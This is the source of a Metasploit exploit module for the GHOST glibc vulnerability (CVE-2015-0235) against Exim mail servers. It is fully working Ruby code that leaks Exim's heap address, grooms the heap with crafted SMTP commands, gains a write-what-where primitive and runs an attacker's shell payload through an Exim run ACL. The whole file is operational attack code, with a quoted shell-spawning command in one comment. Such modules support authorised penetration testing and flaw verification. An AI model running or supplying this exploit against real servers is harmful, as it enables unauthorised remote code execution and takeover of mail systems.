##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q(
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86
and x86_64 GNU/Linux systems that run the Exim mail server. Technical
information about the exploitation can be found in the original GHOST
advisory, and in the source code of this module.
------------------------------------------------------------------------
SERVER-SIDE REQUIREMENTS (Exim)
------------------------------------------------------------------------
The remote system must use a vulnerable version of the GNU C Library:
the first exploitable version is glibc-2.6, the last exploitable version
is glibc-2.17; older versions might be exploitable too, but this module
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
the heap.
------------------------------------------------------------------------
The remote system must run the Exim mail server: the first exploitable
version is exim-4.77; older versions might be exploitable too, but this
module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
set up the heap as described in the GHOST advisory.
------------------------------------------------------------------------
The remote Exim mail server must be configured to perform extra security
checks against its SMTP clients: either the helo_try_verify_hosts or the
helo_verify_hosts option must be enabled; the "verify = helo" ACL might
be exploitable too, but is unpredictable and therefore not supported by
this module.
------------------------------------------------------------------------
CLIENT-SIDE REQUIREMENTS (Metasploit)
------------------------------------------------------------------------
This module's "exploit" method requires the SENDER_HOST_ADDRESS option
to be set to the IPv4 address of the SMTP client (Metasploit), as seen
by the SMTP server (Exim); additionally, this IPv4 address must have
both forward and reverse DNS entries that match each other
(Forward-Confirmed reverse DNS).
------------------------------------------------------------------------
The remote Exim server might be exploitable even if the Metasploit
client has no FCrDNS, but this module depends on Exim's sender_host_name
variable to be set in order to reliably control the state of the remote
heap.
------------------------------------------------------------------------
TROUBLESHOOTING
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
was not specified.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
the SENDER_HOST_ADDRESS option was specified, but not in IPv4
dotted-decimal notation.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
client (Metasploit), as seen by the SMTP server (Exim).
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
------------------------------------------------------------------------
"not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
is either not vulnerable, or not exploitable (glibc versions older than
glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
------------------------------------------------------------------------
"NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
contains bad characters (NUL, CR, LF) and was therefore mangled during
the information leak; this exploit is able to reconstruct most of these
addresses, but not all (worst-case probability is ~1/85, but could be
further improved).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
Unix command was executed, but spawned a bind-shell or a reverse-shell
that failed to connect (maybe because of a firewall, or a NAT, etc).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
remote Unix command was executed, but failed to spawn the shell (maybe
because the setsid command doesn't exist, or awk isn't gawk, or netcat
doesn't support the -6 or -e option, or telnet doesn't support the -z
option, etc).
------------------------------------------------------------------------
Comments and questions are welcome!
),
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [
['CVE', '2015-0235'],
['US-CERT-VU', '967332'],
['OSVDB', '117579'],
['BID', '72325'],
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
],
'DisclosureDate' => 'Jan 27 2015',
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
'Payload' => {
'Space' => 255, # the shorter the payload, the higher the probability of code execution
'BadChars' => "", # we encode the payload ourselves, because ^
'DisableNops' => true,
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(25),
OptAddress.new('SENDER_HOST_ADDRESS', [false,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
], self.class)
register_advanced_options([
OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
], self.class)
end
def check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown
begin
# not exploiting, just checking
smtp_connect(false)
# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk
9.times do
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
smtp_recv(HELO_CODES)
end
# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe
rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure
smtp_disconnect
end
return check_code
end
def exploit
unless datastore['I_KNOW_WHAT_I_AM_DOING']
print_status("Checking if target is vulnerable...")
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
print_good("Target is vulnerable.")
end
information_leak
code_execution
end
private
HELO_CODES = '250|451|550'
ANY_CODE = '[0-9]{3}'
MIN_HEAP_SHIFT = 80
MIN_HEAP_SIZE = 128 * 1024
MAX_HEAP_SIZE = 1024 * 1024
# Exim
ALIGNMENT = 8
STORE_BLOCK_SIZE = 8192
STOREPOOL_MIN_SIZE = 256
LOG_BUFFER_SIZE = 8192
BIG_BUFFER_SIZE = 16384
SMTP_CMD_BUFFER_SIZE = 16384
IN_BUFFER_SIZE = 8192
# GNU C Library
PREV_INUSE = 0x1
NS_MAXDNAME = 1025
# Linux
MMAP_MIN_ADDR = 65536
def information_leak
print_status("Trying information leak...")
leaked_arch = nil
leaked_addr = []
# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)
16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"
# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)
error = [error]
1.upto(5) do |i|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")
_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86_64
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86
else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)
count = Hash.new(0)
0.upto(9) do |last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[1] <=> a[1] }
error_count = error_count.first # most frequent
error = error_count[0]
count = error_count[1]
throw(:another_heap_shift) unless count >= 6 # majority
leaked_addr.push({ error: error, shift: heap_shift })
# common-case shortcut
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
leaked_addr = [leaked_addr.last] # use this one, and not another
throw(:another_heap_shift, true) # done
end
throw(:another_heap_shift)
end
throw(:another_heap_shift)
end
break if done
end
fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
leaked_addr = leaked_addr.first # longest
error = leaked_addr[:error]
shift = leaked_addr[:shift]
leaked_addr = 0
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
break if i >= error.length
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
print_good("Successfully leaked_arch: #{leaked_arch}")
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
@leaked = { arch: leaked_arch, addr: leaked_addr }
end
def try_information_leak(heap_shift, write_offset, last_digit = 9)
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
smtp_connect
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
begin # ^ 0x30 | PREV_INUSE
smtp_recv(HELO_CODES)
smtp_send("RSET")
smtp_recv(250)
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(503, 'sender not yet given')
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("DATA")
reply = smtp_recv(503)
lines = reply[:lines]
fail if lines.size <= 3
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
# but happens with lower probability)
error = lines[+1..-3].join("")
error.sub!(/\A503-/mn, "")
error.sub!(/\r\n\z/mn, "")
error.gsub!(/\r\n503-/mn, "\n")
return error
rescue
return nil
end
ensure
smtp_disconnect
end
def code_execution
print_status("Trying code execution...")
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
# that rogue child processes cannot use them.
fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command)
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
acldrop = "drop message="
message = rand_text_alpha(command.length - acldrop.length)
acldrop += message
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
max_heap_addr = @leaked[:addr]
min_heap_addr = nil
survived = nil
# we later fill log_buffer and big_buffer with alpha chars,
# which creates a safe-zone at the beginning of the heap,
# where we can't possibly crash during our brute-force
# 4, because 3 copies of sender_helo_name, and step_len;
# start big, but refine little by little in case
# we crash because we overwrite important data
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
loop do
sender_helo_name = "A" * helo_len
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
# the 3 copies of sender_helo_name, allocated by
# host_build_sender_fullhost() in POOL_PERM memory
helo_ip_size = ALIGNMENT +
sender_helo_name[+1..-2].length
sender_fullhost_size = ALIGNMENT +
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
).length
# fit completely into the safe-zone
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
loop do
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
# with alpha chars, which creates another safe-zone at the end of the heap)
heap_addr = max_heap_addr
loop do
# try harder the first time around: we obtain better
# heap boundaries, and we usually hit our ACL faster
(min_heap_addr ? 1 : 2).times do
# try the same heap_addr several times, but with different random offsets,
# in case we crash because our hijacked storeblock's length field is too small
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply
if reply and
reply[:code] == "550" and
# detect the parsed ACL, not the "still in text form" ACL (with "=")
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
print_good("Brute-force SUCCESS")
print_good("Please wait for reply...")
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}")
return handler
end
if not min_heap_addr
if reply
fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
survived = heap_addr
else
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
# survived should point to our safe-zone at the beginning of the heap
fail_with("codeexec", "never survived") if not survived
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
min_heap_addr = survived
end
end
end
end
heap_addr -= step_len
break if min_heap_addr and heap_addr < min_heap_addr
end
break if step_len < 1024
step_len /= 2
end
helo_len /= 2
break if helo_len < 1024
# ^ otherwise the 3 copies of sender_helo_name will
# fit into the current_block of POOL_PERM memory
end
fail_with("codeexec", "Brute-force FAILURE")
end
# our write-what-where primitive
def try_code_execution(len, what, where)
fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
fail_with("codeexec", "#{where} < 0") if where < 0
x86 = (@leaked[:arch] == ARCH_X86)
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
last_digit = 1 + rand(9)
smtp_connect
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
"501 : sender address must contain a domain\r\n\0".length)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250)
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
# / 5, because "\x7F" is non-print, and:
# ss = store_get(length + nonprintcount * 4 + 1);
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
# auth_xtextdecode() is the only way to overwrite the beginning of a
# current_block of memory (the "storeblock" structure) with arbitrary data
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
# this shapes the rest of our exploit: we overwrite the beginning of the
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
# memory (allocated by auth_xtextdecode()).
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
auth_prefix += "."
# also fill log_buffer with alpha chars
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
smtp_recv(501, 'invalid data for AUTH')
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
begin
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] !~ /#{HELO_CODES}/
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
smtp_send("MAIL FROM:<>")
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] != "250"
smtp_send("RCPT TO:<postmaster>")
reply = smtp_recv
return reply
rescue
return nil
end
ensure
smtp_disconnect
end
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
DOT = '[.]'
def smtp_connect(exploiting = true)
fail_with("smtp_connect", "sock isn't nil") if sock
connect
fail_with("smtp_connect", "sock is nil") if not sock
@smtp_state = :recv
banner = smtp_recv(220)
return if not exploiting
sender_host_address = datastore['SENDER_HOST_ADDRESS']
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
end
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
# turn helo_seen on (enable the MAIL command)
# call smtp_verify_helo() (force fopen() and small malloc()s)
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
smtp_send("HELO #{sender_host_address_octal}")
reply = smtp_recv(HELO_CODES)
if reply[:code] != "250"
fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
end
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
smtp_active_hostname = $1
sender_host_name = $2
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
sender_host_name = $2
sender_ident = $1
else
sender_ident = nil
end
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
else
# can't double-check sender_host_address here, so only for advanced users
fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
# worst-case scenario
smtp_active_hostname = "A" * NS_MAXDNAME
sender_host_name = "A" * NS_MAXDNAME
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
end
_sender = @sender
@sender = {
hostaddr: sender_host_address,
hostaddr8: sender_host_address_octal,
hostname: sender_host_name,
ident: sender_ident,
__smtp_active_hostname: smtp_active_hostname
}
fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250, 'Reset OK')
end
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
@smtp_state = :sending
if not arg_pattern
fail_with("smtp_send", "prefix is nil") if not prefix
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
command = prefix
else
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with("smtp_send", "len is #{length}") if length <= 0
argument = arg_prefix
case arg_pattern
when String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[0, length % arg_pattern.length]
when Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
command = prefix + argument + suffix
end
fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)
while command and not command.empty?
num_sent = sock.put(command)
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
command = command[num_sent..-1]
end
@smtp_state = :recv
end
def smtp_recv(expected_code = nil, expected_data = nil)
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
@smtp_state = :recving
failure = catch(:failure) do
# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)
data = ""
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw(:failure, "Caught #{$!.class}: #{$!.message}")
end
throw(:failure, "no more data") if more_data.nil?
throw(:failure, "no more data") if more_data.empty?
data += more_data
end
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
throw(:failure, "malformed reply (empty)") if lines.empty?
code = nil
lines.size.times do |i|
lines[i].sub!(/\A\r\n/mn, "")
lines[i] += "\r\n"
if i == 0
code = lines[i][0,3]
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
if expected_code and code !~ /\A(#{expected_code})\z/mn
throw(:failure, "unexpected #{code}, expected #{expected_code}")
end
end
line_begins_with = lines[i][0,4]
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
if line_begins_with != line_should_begin_with
throw(:failure, "line begins with #{line_begins_with}, " \
"should begin with #{line_should_begin_with}")
end
end
throw(:failure, "malformed reply (join)") if lines.join("") != data
if expected_data and data !~ /#{expected_data}/mn
throw(:failure, "unexpected data")
end
reply = { code: code, lines: lines }
@smtp_state = :send
return reply
end
fail_with("smtp_recv", "#{failure}") if expected_code
return nil
end
def smtp_disconnect
disconnect if sock
fail_with("smtp_disconnect", "sock isn't nil") if sock
@smtp_state = :disconnected
end
end
